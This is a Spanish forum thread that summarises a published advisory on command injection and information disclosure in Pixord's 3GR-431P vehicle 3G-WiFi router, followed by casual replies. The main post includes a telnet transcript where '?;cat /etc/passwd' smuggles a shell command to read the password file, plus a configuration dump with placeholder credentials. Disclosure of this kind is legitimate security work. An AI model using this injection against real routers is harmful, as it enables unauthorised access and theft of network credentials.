Wifi en la carratera : Router Pixord para coche pinchado.

kcdtv · 03-10-2015 19:58:59

Inyección de comandos y información sensible al descubierto en los puntos de acceso 3G-WiFi de Pixord para vehículos

Señor mecánico... ¡Tengo el router pinchado!

Fuente :

PIXORD Vehicle 3G Wi-Fi Router Command Injection / Information Disclosure de Karn GANESHEN @ Packet Storm

No conocía hasta hoy al fabricante "Pixord" ni a su eslogan "Moving Pictures Around The World".
¡Que bonito! tongue
Pixord es un empresa de Taiwan creada en el año 2000 y especializada en la producción de cameras vídeos para redes :

PIXORD corporation escribió:

" Network Camera, Dual Lens Camera, Fisheye Panorama Network Camera, Smart Home Cloud Camera, Box Camera, LPR Bullet Camera, Dome Camera"

Pagina web oficial :

PIXORD corporation

Además de sus cameras vídeos fabrican también un modelo de router 3G-Wifi para coches : el 3GR-431P

Dos puertos ethernet y un chipset que convierte la señal 3G en una red WiFi 802.11n (2T2R).
Y lleva GPS (estamos en coche).

Múltiples vulnerabilidades a bordo

Es por telnet que empieza el viaje...
miremos los comandos que son supuestamente disponibles:

Vehicle 3G Wi-Fi Router
Login: admin
Password:
>
> ?
mobile3G
mobileGPS
model
reboot
restoredefault
version

Parece que estamos muy limitados... Pro no es así.
miremos lo que pasa si pedimos que nos abre el archivo "password" con el comando cat

> ?;cat /etc/passwd
sh: ?: not found

admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh

ups... primera brecha podemos inyectar comandos .sh por telnet. big_smile

El fichero password se puede abrir así desde cualquiera de las cuentas.
Un usuario cualquiera puede obtener la contraseña de administrador
Y tenemos a otra brecha : una escala de privilegios

Tercera brecha : las cuentas user y support tienen exactamente los mismos derechos que la de administrador.
Es un sin sentido.
Un usuario cualquiera puede entonces acceder directamente al fichero de configuración en uso : RT2880_Settings.dat
Una masacre en vivo :

*Sensitive information in configuration file - *

*more RT2880_Settings.dat *
#The following line must not be removed.
Default
WebInit=1
HostName=pixord
Login=admin
Password=<admin_password_here>=
Login2=support
Password2=<support_password_here>==
Login3=user
Password3=<user_password_here>==
OperationMode=1
Platform=RT3352
.....
<snip>
.....
wan_pppoe_user=pppoe_user
wan_pppoe_pass=pppoe_passwd
wan_l2tp_server=l2tp_server
wan_l2tp_user=l2tp_user
wan_l2tp_pass=l2tp_passwd
.....
<snip>
.....
wan_pptp_server=pptp_server
wan_pptp_user=pptp_user
wan_pptp_pass=pptp_passwd
.....
<snip>
.....
DDNS=
DDNSAccount=<ddns_account_name_here>
DDNSPassword=<ddns_password_here>
CountryRegion=
CountryRegionABand=
CountryCode=
BssidNum=1
SSID1=PiXORD
WirelessMode=9
.....
<snip>
.....
WscSSID=RalinkInitialAP
WscKeyMGMT=WPA-EAP
WscConfigMethod=138
WscAuthType=1
WscEncrypType=1
WscNewKey=<wsc_key_here>
IEEE8021X=0
IEEE80211H=0
CSPeriod=6
PreAuth=0
AuthMode=WPAPSKWPA2PSK
EncrypType=TKIPAES
RekeyInterval=3600
RekeyMethod=TIME
PMKCachePeriod=10
WPAPSK1=<WPA_PSK_Key_here>
DefaultKeyID=2
Key1Type=0
Key1Str1=
Key2Type=0
Key2Str1=
Key3Type=0
Key3Str1=
Key4Type=0
Key4Str1=
WapiPskType=0
.....
<snip>
.....
WdsEnable=0
WdsEncrypType=NONE
WdsList=
WdsKey=
WirelessEvent=0
RADIUS_Server=0
RADIUS_Port=1812
RADIUS_Key=
RADIUS_Acct_Server=
RADIUS_Acct_Port=1813
RADIUS_Acct_Key=
.....
<snip>
.....
wan_3g_apn=public
wan_3g_dial=*99#
wan_3g_user=
wan_3g_pass=
<snip>
RADIUS_Key1=<radius_key_here>
.....
<snip>
.....

Contraseñas y llave WPA para [email protected]

El router tiene también un proceso raro en tarea de fondo (inadyn) que pasa las contraseñas en texto plano...
Si la seguridad al volante es muy importante entonces es mejor no usar un router Pixord... tongue

dynyly · 03-10-2015 20:36:55

salu2
vaya vaya ahora se entiende mas sobre las noticias que ponias de hakeo de coches ...
pero ...eso de tener lo mas parecido a un router ¿que coches lo llevaran?
por mi barrio fijo que mu pocos lol :lol:
fuera bromas eso me parece que algo parecido ya lo llevan de hace años coches de alta gama ¿no?

si con un simple inhibidor robaban en el interior de los coches tongue :P:P

salu2
gracias por tus post amigo

kcdtv · 04-10-2015 20:11:57

fuera bromas eso me parece que algo parecido ya lo llevan de hace años coches de alta gama ¿no?

He visto algo parecido en un autobús "megabus" (low coast pero tienes Internet)
Con un diseño así , a lo bruto.
No se si era un pixord,,, La red era abierta y además como usan un portal cautivo ( y monitorean el trafico ) no tienes ninguno certificado https que sale bien.
Era una basura a nivel de seguridad...
El alcance de la red no era mal del todo ya que podías conectarte a unos 25 metros del autobús.

Tema	Respuestas	Vistas	Ultimo mensaje
Pegado: Pegado:: Wireless Air Cut, auditoria del protocolo wps en Windows por Patcher [ 1 2 3 … 21 ]	504	269864	15-07-2021 07:36:16 por Patcher
Consulta sobre como iniciarme para defensa de mi sistema. por n0nick	2	111	13-07-2021 18:09:01 por n0nick
Presentacion por zenner2021	2	123	10-07-2021 10:44:46 por kcdtv
Conectame con Awus036ach(1200) y sacar el máximo rendimiento por mateo	9	1704	26-06-2021 17:34:16 por HROG67
Pegado: Pegado:: Creación de un firmware a medida para una camara ISP Hisilicon Hi3518 por Patcher	2	374	21-06-2021 05:43:07 por javierferwolf

Foro Wifi-libre.com

Anuncio

#1 03-10-2015 19:58:59